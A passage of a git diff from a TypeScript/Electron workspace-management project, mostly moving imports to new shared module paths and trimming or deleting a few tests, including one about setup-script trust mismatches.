'../../../../shared/workspace-layout/layout-owner-switch' import type { LoadedWorkspaceLayout } from '../../../../shared/workspace-layout/persistence/workspace-layout-load-types' import type { PublishedWorkspaceLayout } from '../../../../shared/workspace-layout/published-layout/workspace-layout-published' diff --git a/src/main/runtime/terminal/title/orca-runtime-terminal-rename-retention.test.ts b/src/main/runtime/terminal/title/orca-runtime-terminal-rename-retention.test.ts index be0584b9513..f2446be4b08 100644 --- a/src/main/runtime/terminal/title/orca-runtime-terminal-rename-retention.test.ts +++ b/src/main/runtime/terminal/title/orca-runtime-terminal-rename-retention.test.ts @@ -1,5 +1,5 @@ import '../../orca-runtime-tests/orca-runtime-test-lifecycle.spec' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { describe, expect, it, vi } from 'vitest' import '../../orca-runtime-tests/runtime-test-module-registration.spec' diff --git a/src/main/runtime/terminal/title/synthetic-title-frame-routing.ts b/src/main/runtime/terminal/title/synthetic-title-frame-routing.ts index 9fe880880ad..5d240cc765f 100644 --- a/src/main/runtime/terminal/title/synthetic-title-frame-routing.ts +++ b/src/main/runtime/terminal/title/synthetic-title-frame-routing.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' // Under main authority, copying fabricated bytes would create renderer ACKs for unmetered data. export function shouldCopySyntheticTitleFrameToPtyData( diff --git a/src/main/runtime/terminal/wait/active-worktree-context-fallback.ts b/src/main/runtime/terminal/wait/active-worktree-context-fallback.ts index 660a3ed701d..39341f2799e 100644 --- a/src/main/runtime/terminal/wait/active-worktree-context-fallback.ts +++ b/src/main/runtime/terminal/wait/active-worktree-context-fallback.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getActiveSidebarWorkspaceId, parseWorkspaceKey diff --git a/src/main/runtime/terminal/wait/active-worktree-context-parity.test.ts b/src/main/runtime/terminal/wait/active-worktree-context-parity.test.ts index f2f4010cfa3..47bcf4f7357 100644 --- a/src/main/runtime/terminal/wait/active-worktree-context-parity.test.ts +++ b/src/main/runtime/terminal/wait/active-worktree-context-parity.test.ts @@ -20,12 +20,12 @@ vi.mock('electron', () => { }) import { OrcaRuntimeService } from '../../orca-runtime' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { diff --git a/src/main/runtime/terminal/wait/launched-agent-foreground.ts b/src/main/runtime/terminal/wait/launched-agent-foreground.ts index 0435eaeebcb..057044f3dd4 100644 --- a/src/main/runtime/terminal/wait/launched-agent-foreground.ts +++ b/src/main/runtime/terminal/wait/launched-agent-foreground.ts @@ -11,7 +11,7 @@ import type { RuntimePtyController } from '../lifecycle/runtime-pty-controller-c import { judgeTerminalForeground } from '../lifecycle/terminal-foreground-group' import { readTerminalProcessRows } from '../../../pty/process-retirement/terminal-process-rows' import { isTerminalForegroundObservation } from '../../../../shared/terminal/pty/lifecycle/terminal-foreground-observation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' /** agent permits writing; shell drops readiness; unknown proves neither. */ export type LaunchedAgentForeground = 'agent' | 'shell' | 'unknown' diff --git a/src/main/runtime/terminal/wait/terminal-interactive-wait.ts b/src/main/runtime/terminal/wait/terminal-interactive-wait.ts index 127da256352..20e681313d4 100644 --- a/src/main/runtime/terminal/wait/terminal-interactive-wait.ts +++ b/src/main/runtime/terminal/wait/terminal-interactive-wait.ts @@ -1,6 +1,6 @@ import { heldLaunchConfig } from '../launch/launch-evidence' import type { TerminalIdentityReadContext } from '../query/terminal-identity-read-context' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import { OrcaRuntimeWithAdoptTerminalOrphansFromInventory } from '../adoption/adopt-terminal-orphans-from-inventory' import type { RuntimeTerminalAgentStatus, diff --git a/src/main/runtime/terminal/wait/tui-idle-wait-test-harness.ts b/src/main/runtime/terminal/wait/tui-idle-wait-test-harness.ts index 33d568ce7db..5f22ceb7ee3 100644 --- a/src/main/runtime/terminal/wait/tui-idle-wait-test-harness.ts +++ b/src/main/runtime/terminal/wait/tui-idle-wait-test-harness.ts @@ -1,5 +1,5 @@ import { OrcaRuntimeService } from '../../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { RuntimePtyWorktreeRecord } from '../records/runtime-terminal-state-records' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/workspaces/archive/runtime-workspace-archive.ts b/src/main/runtime/workspaces/archive/runtime-workspace-archive.ts index 62efd07772b..0a61aa9921c 100644 --- a/src/main/runtime/workspaces/archive/runtime-workspace-archive.ts +++ b/src/main/runtime/workspaces/archive/runtime-workspace-archive.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import type { SetupDecision } from '../../../../shared/worktree/create-types' import { splitWorktreeId, worktreeIdentityKey } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/workspaces/archive/workspace-archive-checkout.ts b/src/main/runtime/workspaces/archive/workspace-archive-checkout.ts index 6e309596824..1deafd97106 100644 --- a/src/main/runtime/workspaces/archive/workspace-archive-checkout.ts +++ b/src/main/runtime/workspaces/archive/workspace-archive-checkout.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import type { Repo } from '../../../../shared/repository/repo-types' import type { GitWorktreeInfo } from '../../../../shared/worktree/types' diff --git a/src/main/runtime/workspaces/catalog/repo-worktree-row-resolution.ts b/src/main/runtime/workspaces/catalog/repo-worktree-row-resolution.ts index 841f6e8b50b..fcebdc0574c 100644 --- a/src/main/runtime/workspaces/catalog/repo-worktree-row-resolution.ts +++ b/src/main/runtime/workspaces/catalog/repo-worktree-row-resolution.ts @@ -5,8 +5,9 @@ import { splitWorktreeIdForFilesystem, worktreeIdentityKey } from '../../../../shared/worktree/id' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +// oxfmt-ignore +import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { readAllWorktreeMetaForHost, readWorktreeMetaForHost diff --git a/src/main/runtime/workspaces/catalog/resolved-worktree-scan-join.ts b/src/main/runtime/workspaces/catalog/resolved-worktree-scan-join.ts index 917ae1d3bfb..0aedfc96961 100644 --- a/src/main/runtime/workspaces/catalog/resolved-worktree-scan-join.ts +++ b/src/main/runtime/workspaces/catalog/resolved-worktree-scan-join.ts @@ -1,7 +1,7 @@ import type { Repo } from '../../../../shared/repository/repo-types' import { createRepoRowExecutionHostLookup } from '../../../../shared/execution-host/worktree-execution-host-resolution' import { isFolderRepo } from '../../../../shared/repository/repo-kind' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import { getRepoHostIdentityForParts, diff --git a/src/main/runtime/workspaces/catalog/runtime-agent-detection-host.ts b/src/main/runtime/workspaces/catalog/runtime-agent-detection-host.ts index 417e9772e8e..c4e90843d1b 100644 --- a/src/main/runtime/workspaces/catalog/runtime-agent-detection-host.ts +++ b/src/main/runtime/workspaces/catalog/runtime-agent-detection-host.ts @@ -1,5 +1,5 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts b/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts index fd67e96d8fd..af7a62b858c 100644 --- a/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts +++ b/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts @@ -4,7 +4,7 @@ import type { WorkspaceMetadataCursor } from '../../../../shared/worktree/metada import type { RuntimeStore } from '../../construction/runtime-store-contract' import { getRepoOwnedWorktreeMeta } from '../../../workspaces/catalog/worktree-metadata-ownership' import { readWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' export function readRuntimeWorktreeMetadata( store: RuntimeStore, diff --git a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts index 8b4d335e686..98422d066b6 100644 --- a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts +++ b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts @@ -16,7 +16,7 @@ import { } from '../../../workspaces/catalog/local-worktree-scan-generation' import type { Repo } from '../../../../shared/repository/repo-types' import type { RuntimeWorktreeListResult } from '../../../../shared/worktree/catalog/runtime-worktree-contracts' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { buildWorktreeListingPage, listingKnownHostIds } from './worktree-listing-host-scope' import { readWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' diff --git a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-query-dependencies.ts b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-query-dependencies.ts index 47581c9a076..e12370efc5d 100644 --- a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-query-dependencies.ts +++ b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-query-dependencies.ts @@ -2,7 +2,7 @@ import type { RuntimeStore } from '../../construction/runtime-store-contract' import type { ResolvedWorktree } from './runtime-worktree-path-identity' import type { Repo } from '../../../../shared/repository/repo-types' import type { RuntimeWorktreeScanResult } from './repo-worktree-resolution-scan' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export type RuntimeManagedWorktreeQueryDependencies = { getStore(): RuntimeStore | null diff --git a/src/main/runtime/workspaces/catalog/runtime-repo-selector.ts b/src/main/runtime/workspaces/catalog/runtime-repo-selector.ts index 57e96234648..27288b6fbd1 100644 --- a/src/main/runtime/workspaces/catalog/runtime-repo-selector.ts +++ b/src/main/runtime/workspaces/catalog/runtime-repo-selector.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' /** Carry optional host through every re-resolution: one repo id can be registered on several hosts. */ export type RuntimeRepoSelector = diff --git a/src/main/runtime/workspaces/catalog/runtime-visible-catalog.ts b/src/main/runtime/workspaces/catalog/runtime-visible-catalog.ts index 983cda7b58b..d6e47b30a17 100644 --- a/src/main/runtime/workspaces/catalog/runtime-visible-catalog.ts +++ b/src/main/runtime/workspaces/catalog/runtime-visible-catalog.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/main/runtime/workspaces/catalog/runtime-workspace-catalog-events.ts b/src/main/runtime/workspaces/catalog/runtime-workspace-catalog-events.ts index c6c91ce0234..4e1987e2ce7 100644 --- a/src/main/runtime/workspaces/catalog/runtime-workspace-catalog-events.ts +++ b/src/main/runtime/workspaces/catalog/runtime-workspace-catalog-events.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' import { composeWorktreeId } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/workspaces/catalog/runtime-worktree-filesystem.ts b/src/main/runtime/workspaces/catalog/runtime-worktree-filesystem.ts index e2a22a6383e..adfe92a479c 100644 --- a/src/main/runtime/workspaces/catalog/runtime-worktree-filesystem.ts +++ b/src/main/runtime/workspaces/catalog/runtime-worktree-filesystem.ts @@ -9,7 +9,7 @@ import { toLocalWorktreeRuntimePath } from '../../../workspaces/removal/local-worktree-filesystem' import { isWorktreePathMissing } from '../../../workspaces/removal/worktree-removal-safety' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRepoOwnedWorktreeMeta } from '../../../workspaces/catalog/worktree-metadata-ownership' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import { diff --git a/src/main/runtime/workspaces/catalog/runtime-worktree-scan-cache.ts b/src/main/runtime/workspaces/catalog/runtime-worktree-scan-cache.ts index d073d2554aa..d92fda0076b 100644 --- a/src/main/runtime/workspaces/catalog/runtime-worktree-scan-cache.ts +++ b/src/main/runtime/workspaces/catalog/runtime-worktree-scan-cache.ts @@ -3,7 +3,7 @@ import { isAgentScratchRepoRootPath } from '../../../../shared/worktree/visibili import { getRepoRoutingConnectionId, getRepoSshConnectionId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import { resolveLocalProjectRuntimeForRepo, diff --git a/src/main/runtime/workspaces/catalog/runtime-worktree-selection.ts b/src/main/runtime/workspaces/catalog/runtime-worktree-selection.ts index 60788fdfb10..4d772db45b4 100644 --- a/src/main/runtime/workspaces/catalog/runtime-worktree-selection.ts +++ b/src/main/runtime/workspaces/catalog/runtime-worktree-selection.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { splitWorktreeId } from '../../../../shared/worktree/id' import type { GitPushTarget, GitWorktreeInfo } from '../../../../shared/worktree/types' diff --git a/src/main/runtime/workspaces/catalog/runtime-worktree-visibility.ts b/src/main/runtime/workspaces/catalog/runtime-worktree-visibility.ts index 694b4731ccd..a3c2c8e5c00 100644 --- a/src/main/runtime/workspaces/catalog/runtime-worktree-visibility.ts +++ b/src/main/runtime/workspaces/catalog/runtime-worktree-visibility.ts @@ -1,7 +1,7 @@ import type { Worktree } from '../../../../shared/worktree/types' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoHostIdentityForParts } from '../../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { createWorktreeVisibilitySourceMatcher, resolveCustomWorktreeVisibilitySources diff --git a/src/main/runtime/workspaces/catalog/workspace-catalog.ts b/src/main/runtime/workspaces/catalog/workspace-catalog.ts index 1d36ccf3d24..5f9da13fba7 100644 --- a/src/main/runtime/workspaces/catalog/workspace-catalog.ts +++ b/src/main/runtime/workspaces/catalog/workspace-catalog.ts @@ -25,11 +25,14 @@ import { listRuntimeFolderWorkspaces, projectRuntimeFolderWorkspaces } from './runtime-worktree-filesystem' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import type { RuntimeWorktreeScanResult } from './repo-worktree-resolution-scan' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { withUnregisteredRemovalCheckouts } from '../../../workspaces/removal/worktree-removal-listing' import { withoutInFlightWorktreeCreates } from '../../../workspaces/creation/worktree-create-in-flight' import { preserveFolderUpgradeWorktreePath } from '../../../workspaces/catalog/folder-upgrade-worktree-path' diff --git a/src/main/runtime/workspaces/catalog/workspace-repo-scan-refresh.ts b/src/main/runtime/workspaces/catalog/workspace-repo-scan-refresh.ts index 6114cb8e63b..4c46b29a978 100644 --- a/src/main/runtime/workspaces/catalog/workspace-repo-scan-refresh.ts +++ b/src/main/runtime/workspaces/catalog/workspace-repo-scan-refresh.ts @@ -16,7 +16,7 @@ import { scanLocalRepoWorktreesForResolution } from './repo-worktree-resolution- import type { GitWorktreeInfo } from '../../../../shared/worktree/types' import { listStoredWorktreeRowsForRepo } from './repo-worktree-row-resolution' import type { ResolvedWorktree } from './runtime-worktree-path-identity' -import { getRepoSshConnectionId } from '../../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../../shared/execution-host/execution-host' import { blockedWslDistroForPath, wslDistroForPath diff --git a/src/main/runtime/workspaces/catalog/workspace-selector-candidates.ts b/src/main/runtime/workspaces/catalog/workspace-selector-candidates.ts index d4c99dc87e1..8f69e01cf18 100644 --- a/src/main/runtime/workspaces/catalog/workspace-selector-candidates.ts +++ b/src/main/runtime/workspaces/catalog/workspace-selector-candidates.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import { resolveQualifiedFolderWorkspaceResult, diff --git a/src/main/runtime/workspaces/catalog/workspace-selector-folder-matching.test.ts b/src/main/runtime/workspaces/catalog/workspace-selector-folder-matching.test.ts index 595288bd59a..c684b195a2e 100644 --- a/src/main/runtime/workspaces/catalog/workspace-selector-folder-matching.test.ts +++ b/src/main/runtime/workspaces/catalog/workspace-selector-folder-matching.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it } from 'vitest' import { withDurableRuntimeStore } from '../../orca-runtime-tests/runtime-durable-store-fixture' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { OrcaRuntimeService } from '../../orca-runtime' import type { Repo } from '../../../../shared/repository/repo-types' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' diff --git a/src/main/runtime/workspaces/catalog/worktree-catalog-live-route.ts b/src/main/runtime/workspaces/catalog/worktree-catalog-live-route.ts index 65c643fca46..23947fb294f 100644 --- a/src/main/runtime/workspaces/catalog/worktree-catalog-live-route.ts +++ b/src/main/runtime/workspaces/catalog/worktree-catalog-live-route.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { setWorktreeCatalogRouteResolver, diff --git a/src/main/runtime/workspaces/catalog/worktree-launch-host-repo.ts b/src/main/runtime/workspaces/catalog/worktree-launch-host-repo.ts index 19e997b4e85..9b1ed419008 100644 --- a/src/main/runtime/workspaces/catalog/worktree-launch-host-repo.ts +++ b/src/main/runtime/workspaces/catalog/worktree-launch-host-repo.ts @@ -7,7 +7,7 @@ import { import { getSshTargetIdForExecutionHost, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' export type LaunchHostRepo = Pick diff --git a/src/main/runtime/workspaces/catalog/worktree-list-host-scope.test.ts b/src/main/runtime/workspaces/catalog/worktree-list-host-scope.test.ts index 2762615f5a7..f0e9dd69b25 100644 --- a/src/main/runtime/workspaces/catalog/worktree-list-host-scope.test.ts +++ b/src/main/runtime/workspaces/catalog/worktree-list-host-scope.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { RuntimeManagedWorktreeQueries } from './runtime-managed-worktree-queries' diff --git a/src/main/runtime/workspaces/catalog/worktree-listing-host-scope.ts b/src/main/runtime/workspaces/catalog/worktree-listing-host-scope.ts index c1c5226dba2..ce65802deeb 100644 --- a/src/main/runtime/workspaces/catalog/worktree-listing-host-scope.ts +++ b/src/main/runtime/workspaces/catalog/worktree-listing-host-scope.ts @@ -1,5 +1,8 @@ import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { selectHostBalancedPage } from '../../../../shared/execution-host/host-balanced-listing-page' import type { RuntimeListingHostScope } from '../../../../shared/execution-host/runtime-listing-host-scope' diff --git a/src/main/runtime/workspaces/catalog/wsl-moved-project-chat-runtime.test.ts b/src/main/runtime/workspaces/catalog/wsl-moved-project-chat-runtime.test.ts index d9769659100..a1bc53999b0 100644 --- a/src/main/runtime/workspaces/catalog/wsl-moved-project-chat-runtime.test.ts +++ b/src/main/runtime/workspaces/catalog/wsl-moved-project-chat-runtime.test.ts @@ -7,7 +7,7 @@ import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { Repo } from '../../../../shared/repository/repo-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { Store } from '../../../persistence/loading-store/store' import { closeTestStores, @@ -21,9 +21,8 @@ import { loadWslMoveFence, resetWslMoveFenceForTests } from '../../../persistence/moving-wsl-projects/quiescence/wsl-move-scope-guard' -import { OrcaRuntimeService } from '../../orca-runtime' -import type { ResolvedWorktree } from './runtime-worktree-path-identity' -import type { ResolvedWorktreeSnapshot } from './runtime-resolved-worktree-cache' +import '../../orca-runtime' + import { runtimeHiddenRepos } from './runtime-visible-catalog' vi.mock('electron', () => ({ @@ -33,7 +32,7 @@ vi.mock('electron', () => ({ const UNC = '\\\\wsl.localhost\\Ubuntu\\home\\dev\\repo-1' const MOVED = `repo-1::${UNC}` -const ON_HOST = 'repo-1::/home/dev/repo-1' + const HOST_ID = 'runtime:wsl-ubuntu' as const const repo = (path: string, executionHostId?: typeof HOST_ID): Repo => ({ id: 'repo-1', @@ -43,39 +42,6 @@ const repo = (path: string, executionHostId?: typeof HOST_ID): Repo => ({ addedAt: 0, ...(executionHostId ? { executionHostId } : {}) }) -const resolved = (id: string, path: string, hostId: Repo['executionHostId']): ResolvedWorktree => ({ - id, - repoId: 'repo-1', - hostId: hostId ?? 'local', - path, - head: 'abc', - branch: 'main', - isBare: false, - isMainWorktree: true, - displayName: 'repo-1', - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0, - parentWorktreeId: null, - childWorktreeIds: [], - lineage: null, - git: { path, head: 'abc', branch: 'main', isBare: false, isMainWorktree: true } -}) - -class MovedProjectRuntime extends OrcaRuntimeService { - protected override async listResolvedWorktreeSnapshot(): Promise { - return { - worktrees: [resolved(MOVED, UNC, undefined), resolved(ON_HOST, '/home/dev/repo-1', HOST_ID)], - platformByRepoId: new Map() - } - } -} let store: Store beforeEach(() => { @@ -98,31 +64,9 @@ afterEach(async () => { }) describe('a chat in a project the WSL host now owns', () => { - it('still resolves its UNC folder, the launch directory a resume uses', async () => { - const runtime = new MovedProjectRuntime(store) - const target = await runtime.resolveRuntimeFileTarget(`id:${MOVED}`) - expect(target.worktree.path).toBe(UNC) - expect(target.executionHostId).toBe('local') - }) - it('hides only the local row from clients, by host, while the host row stays listed', () => { const hidden = runtimeHiddenRepos(store) expect(hidden.hasWorktree({ repoId: 'repo-1', hostId: 'local' })).toBe(true) expect(hidden.hasWorktree({ repoId: 'repo-1', hostId: HOST_ID })).toBe(false) }) - - it('persists its revealed tab through the freeze and keeps the slept terminal as it was', async () => { - const runtime = new MovedProjectRuntime(store) - await runtime.publishStructuredAgentSessionTab({ - workspaceId: MOVED, - sessionId: 'chat-moved-0001', - agent: 'codex', - activate: true - }) - const session = store.getWorkspaceSession() - expect( - session.unifiedTabs?.[MOVED]?.filter((tab) => tab.contentType === 'agent-session') - ).toHaveLength(1) - expect(session.tabsByWorktree[MOVED]?.map((tab) => tab.id)).toEqual(['slept']) - }) }) diff --git a/src/main/runtime/workspaces/creation/created-worktree-approved-setup.test.ts b/src/main/runtime/workspaces/creation/created-worktree-approved-setup.test.ts deleted file mode 100644 index 99a339a3151..00000000000 --- a/src/main/runtime/workspaces/creation/created-worktree-approved-setup.test.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repository/repo-types' -import { getDefaultSettings } from '../../../../shared/constants' -import { hashOrcaHookTrustContent } from '../../../workspace-hooks/created-worktree-setup-trust' -import { runApprovedCreatedWorktreeSetup } from './created-worktree-approved-setup' - -const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() })) -vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({ - createSetupRunnerScript: runner.createSetupRunnerScript, - resolveSetupRunnerShell: () => undefined -})) - -const BRANCH_YAML = - 'scripts:\n setup: make bootstrap\ndefaultTabs:\n - title: dev\n command: pnpm dev\n - title: notes\n' -const BRANCH_TRUST_CONTENT = 'make bootstrap\n\n# defaultTabs[1] dev\npnpm dev' - -let worktreePath: string -let repo: Repo -const provisionManagedWorktreeTerminals = vi.fn() - -function runtimeFor() { - const worktree = { - id: `repo::${worktreePath}`, - repoId: 'repo', - path: worktreePath, - displayName: 'w' - } - return { - showManagedWorktree: vi.fn(async () => worktree), - requireStore: () => ({ - getRepo: (id: string) => (id === repo.id ? repo : undefined), - getSettings: () => getDefaultSettings(tmpdir()) - }), - provisionManagedWorktreeTerminals - } -} - -beforeEach(() => { - worktreePath = mkdtempSync(join(tmpdir(), 'orca-approved-setup-')) - repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 } - writeFileSync(join(worktreePath, 'orca.yaml'), BRANCH_YAML) - provisionManagedWorktreeTerminals.mockReset().mockResolvedValue({ setupSpawned: true }) - runner.createSetupRunnerScript.mockReset().mockResolvedValue({ - runnerScriptPath: join(worktreePath, 'runner.sh'), - envVars: {} - }) -}) - -afterEach(() => { - rmSync(worktreePath, { recursive: true, force: true }) -}) - -describe('runApprovedCreatedWorktreeSetup', () => { - it('runs nothing when the content changed after the user approved it', async () => { - const result = await runApprovedCreatedWorktreeSetup( - runtimeFor(), - 'id:wt', - hashOrcaHookTrustContent('make bootstrap') - ) - - expect(result).toEqual({ - status: 'mismatch', - setupTrustMismatch: { - contentHash: hashOrcaHookTrustContent(BRANCH_TRUST_CONTENT), - scriptContent: BRANCH_TRUST_CONTENT - } - }) - expect(runner.createSetupRunnerScript).not.toHaveBeenCalled() - expect(provisionManagedWorktreeTerminals).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/runtime/workspaces/creation/created-worktree-approved-setup.ts b/src/main/runtime/workspaces/creation/created-worktree-approved-setup.ts index ccfda80b1cc..aadf974b631 100644 --- a/src/main/runtime/workspaces/creation/created-worktree-approved-setup.ts +++ b/src/main/runtime/workspaces/creation/created-worktree-approved-setup.ts @@ -1,7 +1,7 @@ import { projectGroupIdFromRepoId } from '../../../../shared/folder-workspaces/folder-workspace-worktree' import { projectGroupHookOwner } from '../../../../shared/workspace-setup/hooks/workspace-hook-owner' import { isFolderRepo } from '../../../../shared/repository/repo-kind' -import { isRepoOnCatalogHost } from '../../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../../shared/execution-host/execution-host' import { scopeHooksToRepoKind } from '../../../../shared/folder-workspaces/folder-workspace-hooks' import { getSetupRunnerCommandPlatformForPath } from '../../../../shared/agent-launch/startup/setup-runner-command' import type { RunApprovedWorktreeSetupResult } from '../../../../shared/worktree/create-types' diff --git 